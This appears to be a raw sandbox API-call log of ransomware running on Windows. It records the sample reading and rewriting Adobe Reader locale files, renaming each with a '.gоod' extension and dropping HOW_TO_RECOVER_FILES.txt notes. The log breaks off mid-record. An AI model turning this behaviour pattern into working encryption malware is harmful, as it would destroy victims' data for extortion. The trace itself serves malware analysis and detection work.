GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0159.543] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.544] GetFileType (hFile=0x650) returned 0x1 [0159.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0159.544] GetFileType (hFile=0x650) returned 0x1 [0159.544] ReadFile (in: hFile=0x650, lpBuffer=0x363af18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x363af18*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0159.699] CloseHandle (hObject=0x650) returned 1 [0159.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0159.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.699] GetFileType (hFile=0x650) returned 0x1 [0159.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0159.699] GetFileType (hFile=0x650) returned 0x1 [0159.699] WriteFile (in: hFile=0x650, lpBuffer=0x3461d50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3461d50*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0159.699] CloseHandle (hObject=0x650) returned 1 [0159.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0159.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0159.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5b671b24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3cb7)) returned 1 [0159.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0159.700] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0159.701] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0159.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0159.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0159.701] GetFileType (hFile=0x650) returned 0x1 [0159.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0159.701] GetFileType (hFile=0x650) returned 0x1 [0159.702] WriteFile (in: hFile=0x650, lpBuffer=0x355dc00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x355dc00*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0159.703] CloseHandle (hObject=0x650) returned 1 [0159.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0159.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr", lpFilePart=0x0) returned 0x69 [0159.703] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.703] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0159.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.704] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0159.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0159.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0159.704] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr", lpFilePart=0x0) returned 0x69 [0159.704] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0159.704] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0159.705] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0159.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0159.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0159.705] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x356d7d8 | out: lpFileInformation=0x356d7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199)) returned 1 [0159.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0159.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0159.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.706] GetFileType (hFile=0x650) returned 0x1 [0159.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0159.706] GetFileType (hFile=0x650) returned 0x1 [0159.706] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0159.706] ReadFile (in: hFile=0x650, lpBuffer=0x356dcb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x356dcb0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0159.707] CloseHandle (hObject=0x650) returned 1 [0159.708] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0159.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.708] GetFileType (hFile=0x650) returned 0x1 [0159.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0159.708] GetFileType (hFile=0x650) returned 0x1 [0159.708] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x4199 [0159.708] WriteFile (in: hFile=0x650, lpBuffer=0x35724f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35724f8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0159.709] CloseHandle (hObject=0x650) returned 1 [0159.709] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0159.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0159.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.709] GetFileType (hFile=0x650) returned 0x1 [0159.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0159.709] GetFileType (hFile=0x650) returned 0x1 [0159.710] ReadFile (in: hFile=0x650, lpBuffer=0x3576a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3576a48*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0160.555] CloseHandle (hObject=0x650) returned 1 [0160.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0160.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0160.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0160.555] GetFileType (hFile=0x650) returned 0x1 [0160.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0160.556] GetFileType (hFile=0x650) returned 0x1 [0160.556] WriteFile (in: hFile=0x650, lpBuffer=0x347cc98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x347cc98*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0160.556] CloseHandle (hObject=0x650) returned 1 [0160.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0160.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0160.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0160.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5bea3ccb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x41a9)) returned 1 [0160.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0160.556] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0160.557] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0160.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0160.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0160.557] GetFileType (hFile=0x650) returned 0x1 [0160.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0160.558] GetFileType (hFile=0x650) returned 0x1 [0160.558] WriteFile (in: hFile=0x650, lpBuffer=0x36b9698*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x36b9698*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0160.559] CloseHandle (hObject=0x650) returned 1 [0160.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0160.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma", lpFilePart=0x0) returned 0x69 [0160.568] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, 